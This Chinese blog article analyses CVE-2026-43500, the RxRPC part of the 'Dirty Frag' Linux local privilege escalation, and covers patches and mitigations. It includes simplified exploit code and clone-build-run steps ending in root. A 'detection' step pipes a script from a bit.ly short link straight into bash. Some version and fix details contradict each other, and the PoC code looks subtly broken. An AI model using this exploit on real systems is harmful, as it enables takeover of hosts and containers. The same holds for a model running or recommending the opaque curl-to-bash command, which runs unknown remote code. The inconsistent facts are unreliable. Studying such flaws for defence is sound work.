当前位置:首页>Linux>CVE-2026-43500深度解析:Linux内核Dirty Frag继承者,rxrpc模块页缓存任意写入提权全指南

CVE-2026-43500深度解析:Linux内核Dirty Frag继承者,rxrpc模块页缓存任意写入提权全指南

  • 2026-10-11 07:33:18
CVE-2026-43500深度解析:Linux内核Dirty Frag继承者,rxrpc模块页缓存任意写入提权全指南

前言

2026年5月7日,韩国安全研究员Hyunwoo Kim(@v4bel)公开披露了一个震惊Linux安全界的本地提权漏洞链——Dirty Frag。该漏洞链由两个独立但互补的内核子系统缺陷构成:CVE-2026-43284(xfrm-ESP模块)和CVE-2026-43500(RxRPC模块)。两者链式利用,可让本地低权限用户无竞争条件、100%稳定获取root权限,覆盖Linux内核5.3至7.x所有版本,影响几乎所有主流Linux发行版。

本文将从技术原理、漏洞利用、影响范围、修复方案等多个维度,对CVE-2026-43500进行全面深度解析,并梳理Dirty Frag家族的演进历史,为企业和安全从业者提供完整的应急响应指南。


一、漏洞核心概况

CVE-2026-43500是Linux内核RxRPC(Remote Procedure Call)协议实现中的一个页缓存越界写入漏洞(CWE-787),属于**Dirty Frag(脏碎片)**漏洞链的核心组件之一。

  • 漏洞别名
    :Dirty Frag继承者、RxRPC页缓存写入漏洞
  • CVSS评分
    :7.8(高危)
  • 影响版本
    :Linux内核6.5至7.x(rxrpc模块于2023年6月引入)
  • 核心成因
    :rxrpc模块解密路径未校验页缓存来源,原地解密操作篡改只读页缓存
  • 利用门槛
    :极低,PoC公开且7分钟可编译,Ubuntu默认加载rxrpc模块,无需特殊权限
  • 危害场景
    :企业AI/ML集群、云服务器、容器环境(容器隔离无法防护内核级攻击)

二、Dirty Frag家族完整梳理:一脉相承的页缓存污染

Dirty Frag是继Dirty Cow、Dirty Pipe、Copy Fail后的第四代"页缓存非授权写入"漏洞家族,核心逻辑均为利用零拷贝机制,绕过只读页权限,实现任意内存写入。

2.1 四代"脏页"漏洞演进对比

代际
漏洞名称
CVE编号
发现时间
攻击位置
核心成因
关键特性
第一代
Dirty Cow
CVE-2016-5195
2016.10
内存管理子系统
写时复制(COW)竞争条件
有竞争、成功率90%、易崩溃
第二代
Dirty Pipe
CVE-2022-0847
2022.03
Pipe子系统
splice零拷贝路径权限校验缺失
无竞争、稳定提权、影响5.8+
第三代
Copy Fail
CVE-2026-31431
2026.04
AF_ALG加密子系统
加密操作原地修改只读页缓存
AI辅助发现、影响5.10+
第四代
Dirty Frag
CVE-2026-43284/43500
2026.05
xfrm-ESP+RxRPC
双模块原地解密篡改页缓存
无竞争、全覆盖、武器化

2.2 Dirty Frag双组件分工:互补无盲区

Dirty Frag并非单一漏洞,而是两个独立漏洞的完美组合,它们各自弥补了对方的利用限制,实现了跨发行版、跨配置的全覆盖:

  • CVE-2026-43284(xfrm-ESP)
    :提供4字节任意写入,需CAP_NET_ADMIN权限(可通过用户命名空间获取),覆盖2017年后内核(5.3+),但Ubuntu AppArmor默认拦截命名空间创建。
  • CVE-2026-43500(RxRPC)
    :提供8字节可控写入,无需特殊权限,Ubuntu默认加载rxrpc.ko模块,覆盖6.5+内核,完美弥补了xfrm-ESP在Ubuntu的利用盲区。

三、CVE-2026-43500(RxRPC)技术原理深度解析

3.1 漏洞触发的核心机制

CVE-2026-43500的核心问题在于rxrpc模块的rxkad_verify_packet_1()函数在处理非线性skb时,未正确校验页缓存的所有权,直接对共享页缓存执行原地解密操作。

Linux内核的splice()系统调用允许在两个文件描述符之间直接传输数据,无需经过用户态内存拷贝。攻击者可以利用splice()将只读系统文件(如/etc/passwd、/usr/bin/su)的页缓存"种"进RxRPC套接字的skb非线性frag区域。当内核处理RxRPC数据包时,会错误地将这些共享页缓存当作私有内存,直接在上面执行fcrypt_decrypt()解密操作,从而实现对只读页缓存的任意写入。

3.2 漏洞利用完整流程图

    A[攻击者以普通用户身份登录] --> B[打开只读系统文件/etc/passwd]    B --> C[创建管道和RxRPC套接字]    C --> D[通过splice()将/etc/passwd的页缓存注入RxRPC skb]    D --> E[构造包含预计算密钥的RxRPC数据包]    E --> F[发送数据包触发rxkad_verify_packet_1()函数]    F --> G[内核执行原地fcrypt_decrypt()解密]    G --> H[只读页缓存被篡改,root密码被清空]    H --> I[攻击者使用su命令无密码登录root]

3.3 漏洞代码分析

漏洞位于Linux内核net/rxrpc/rxkad.c文件中的rxkad_verify_packet_1()函数。修复前的代码逻辑如下:

staticintrxkad_verify_packet_1(struct rxrpc_call *call, struct sk_buff *skb,                                 struct rxrpc_skb_priv *sp){    // ... 省略部分代码 ...    // 仅当skb被克隆时才执行拷贝    if (skb_cloned(skb)) {        skb = skb_copy(skb, GFP_ATOMIC);        if (!skb)            return -ENOMEM;    }    // 直接在原skb上执行原地解密    err = fcrypt_decrypt(&ctx->fcrypt, skb->data, skb->data, skb->len);    if (err)        return err;    // ... 省略部分代码 ...}

问题出在第7-11行:代码仅检查了skb是否被克隆,但没有检查skb是否包含共享页碎片(SKBFL_SHARED_FRAG)或碎片列表(skb_has_frag_list())。当攻击者通过splice()注入包含外部共享页的skb时,代码会跳过拷贝步骤,直接在共享页上执行解密操作。

3.4 官方补丁分析

Linux内核官方于2026年5月11日发布了修复补丁(提交ID:aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71),修复后的代码如下:

staticintrxkad_verify_packet_1(struct rxrpc_call *call, struct sk_buff *skb,                                 struct rxrpc_skb_priv *sp){    // ... 省略部分代码 ...    // 扩展检查条件:当skb被克隆、有碎片列表或有共享碎片时,执行拷贝    if (skb_cloned(skb) || skb_has_frag_list(skb) || skb_has_shared_frag(skb)) {        skb = skb_copy(skb, GFP_ATOMIC);        if (!skb)            return -ENOMEM;    }    // 现在在私有拷贝上执行解密    err = fcrypt_decrypt(&ctx->fcrypt, skb->data, skb->data, skb->len);    if (err)        return err;    // ... 省略部分代码 ...}

补丁通过扩展skb拷贝的触发条件,确保所有可能包含外部共享页的skb在解密前都被复制到内核私有内存中,从而彻底切断了攻击路径。

3.5 与CVE-2026-43284(xfrm-ESP)技术对比

对比维度
CVE-2026-43284(xfrm-ESP)
CVE-2026-43500(RxRPC)
攻击原语
4字节任意地址写入(精准控制值)
8字节可控写入(密钥碰撞控制值)
权限要求
需CAP_NET_ADMIN(用户命名空间)
无需特殊权限
(默认配置可用)
影响范围
5.3+(2017年至今)
6.5+(2023年至今)
模块加载
多数发行版默认加载(IPsec)
Ubuntu默认加载,RHEL默认不加载
利用场景
非Ubuntu系统(无AppArmor拦截)
Ubuntu系统(默认配置直接利用)
典型攻击目标
篡改/usr/bin/su植入shellcode
篡改/etc/passwd清空root密码

四、PoC代码示例与利用演示

4.1 核心利用代码片段

以下是公开PoC中最核心的splice_page_to_skb()和trigger_rxrpc_decrypt()函数的简化版:

// 将文件的指定页通过splice注入到RxRPC套接字的skb中staticintsplice_page_to_skb(int file_fd, off_t offset, int rxrpc_sock){    int pipefd[2];    ssize_t ret;    if (pipe(pipefd) == -1) {        perror("pipe");        return -1;    }    // 将文件页splice到管道    ret = splice(file_fd, &offset, pipefd[1], NULL, 4096, SPLICE_F_MOVE);    if (ret != 4096) {        perror("splice to pipe");        close(pipefd[0]);        close(pipefd[1]);        return -1;    }    // 将管道中的页splice到RxRPC套接字    ret = splice(pipefd[0], NULL, rxrpc_sock, NULL, 4096, MSG_SPLICE_PAGES);    if (ret != 4096) {        perror("splice to rxrpc");        close(pipefd[0]);        close(pipefd[1]);        return -1;    }    close(pipefd[0]);    close(pipefd[1]);    return 0;}// 触发RxRPC原地解密,写入指定字节staticintwrite_byte(off_t offset, uint8_t value){    // 预计算fcrypt解密密钥,使得解密后的值等于目标值    uint8_t key[8];    fcrypt_precompute_key(key, value);    // 构造包含该密钥的RxRPC数据包    struct rxrpc_packet pkt;    memset(&pkt, 0, sizeof(pkt));    pkt.type = RXRPC_PACKET_TYPE_DATA;    pkt.flags = RXRPC_CLIENT_INITIATED;    memcpy(pkt.security_index, key, 8);    // 发送数据包触发解密    send(rxrpc_sock, &pkt, sizeof(pkt), 0);    return 0;}

4.2 完整利用步骤

  1. 编译PoC:

    git clone https://github.com/V4bel/dirtyfrag.gitcd dirtyfragmake
  2. 执行提权:

    ./dirtyfrag
  3. 验证结果:

    whoami# 输出:root

五、云环境与AI/ML基础设施风险分析

5.1 为什么AI/ML集群是重灾区?

企业AI/ML基础设施面临的风险尤为严重,主要原因有以下几点:

  1. 内核版本普遍较新
    :AI/ML推理服务器、K8s节点、GPU集群普遍运行5.3+内核,且多为Ubuntu系统(默认加载rxrpc模块)。
  2. 容器隔离失效
    :Docker/K8s容器共享宿主机内核,容器内的普通用户可以利用漏洞直接获取宿主机root权限,横向渗透整个集群。
  3. 多租户环境风险
    :云平台的多租户AI集群中,一个租户的低权限账号被攻破,可能导致整个集群的所有租户数据泄露。
  4. 业务连续性影响大
    :AI训练任务通常需要运行数天甚至数周,内核升级需要重启服务器,会导致训练任务中断,造成巨大的经济损失。

5.2 典型风险场景示例

  • 场景1:AI模型权重被篡改
    :攻击者通过GPU节点普通账号,利用CVE-2026-43500提权,篡改训练好的模型权重,植入后门,导致模型在推理时输出错误结果。
  • 场景2:训练数据被窃取
    :攻击者获取root权限后,可以访问集群中所有的训练数据,包括用户隐私数据、商业机密等。
  • 场景3:挖矿程序植入
    :攻击者利用AI集群的GPU资源进行挖矿,消耗大量电力和计算资源,导致正常业务无法运行。
  • 场景4:云主机被接管
    :云服务器低权限用户,通过漏洞清空root密码,远程登录控制服务器,篡改网站数据、劫持业务。

六、漏洞检测与修复方案

6.1 漏洞检测方法

  1. 检查内核版本:

    uname -r

    如果输出的内核版本在5.3至7.0.5之间,则可能受到影响。

  2. 检查模块加载状态:

    lsmod | grep -E "rxrpc|esp4|esp6"

    如果有输出,说明相关模块已加载,系统存在风险。

  3. 使用一键检测脚本:

    curl -fsSL https://bit.ly/4elJXcG | bash -s -- check

6.2 修复方案(按优先级排序)

方案一:升级内核(推荐)

升级至以下已修复的内核版本:

  • Linux 7.0.6+
  • Linux 6.6.138+
  • Linux 6.5.18+

各大主流Linux发行版的修复版本:

  • Ubuntu 22.04:linux-image-5.15.0-112-generic
  • Ubuntu 24.04:linux-image-6.8.0-35-generic
  • RHEL 9:kernel-5.14.0-427.16.1.el9_4
  • CentOS Stream 10:kernel-6.6.13-200.el10

方案二:禁用相关模块(临时缓解)

如果无法立即升级内核,可以通过禁用相关模块来临时缓解风险:

# 创建黑名单配置文件sudo sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf"# 立即卸载已加载的模块sudo rmmod esp4 esp6 rxrpc 2>/dev/null || true# 更新initramfs,确保重启后模块不会被加载sudo update-initramfs -u

注意:禁用esp4和esp6模块会影响IPsec VPN功能,如果您的系统使用IPsec,请谨慎操作。

方案三:禁用用户命名空间(缓解xfrm-ESP)

对于CVE-2026-43284,可以通过禁用用户命名空间来缓解:

# 临时禁用sudo sysctl -w kernel.unprivileged_userns_clone=0# 永久禁用echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.confsudo sysctl -p

七、前瞻性思考:页缓存漏洞的未来趋势

7.1 AI加速漏洞发现

Copy Fail和Dirty Frag漏洞的连续披露,标志着AI辅助漏洞发现时代的到来。Copy Fail漏洞是由安全公司Theori利用其基于AI的安全工具Xint Code在一小时内发现的。随着AI技术的不断发展,未来将会有更多类似的逻辑漏洞被快速发现,这对防御方提出了更高的要求。

7.2 补丁衍生漏洞风险

2026年5月16日,安天研究院披露了Fragnesia(“分片失忆”)漏洞,该漏洞正是由于Dirty Frag补丁引入的SKBFL_SHARED_FRAG标记在分片合并过程中静默丢失而产生的。这提醒我们,安全补丁本身也可能引入新的漏洞,补丁审核流程需要更加严格。

7.3 内核设计哲学的反思

从Dirty Cow到Dirty Frag,Linux内核的页缓存机制似乎成了一个"漏洞富矿"。这些漏洞的共同根源在于性能与安全的权衡。内核开发者为了追求极致的性能,引入了零拷贝、原地操作等优化,但这些优化也带来了安全风险。未来,内核设计需要在性能与安全之间找到更好的平衡点。

八、总结

CVE-2026-43500作为Dirty Frag漏洞链的核心组件,以其极低的利用门槛、极高的成功率和广泛的影响范围,成为了2026年上半年最严重的Linux安全漏洞之一。企业和安全从业者应高度重视,立即采取修复措施,特别是运行AI/ML集群和云服务器的企业,更应优先处理。

同时,我们也应该看到,随着AI技术在漏洞发现领域的应用,未来内核漏洞的披露速度将会越来越快。防御方需要建立更加完善的应急响应机制,提高漏洞修复的效率,才能在日益激烈的攻防对抗中占据主动。

最新文章

随机文章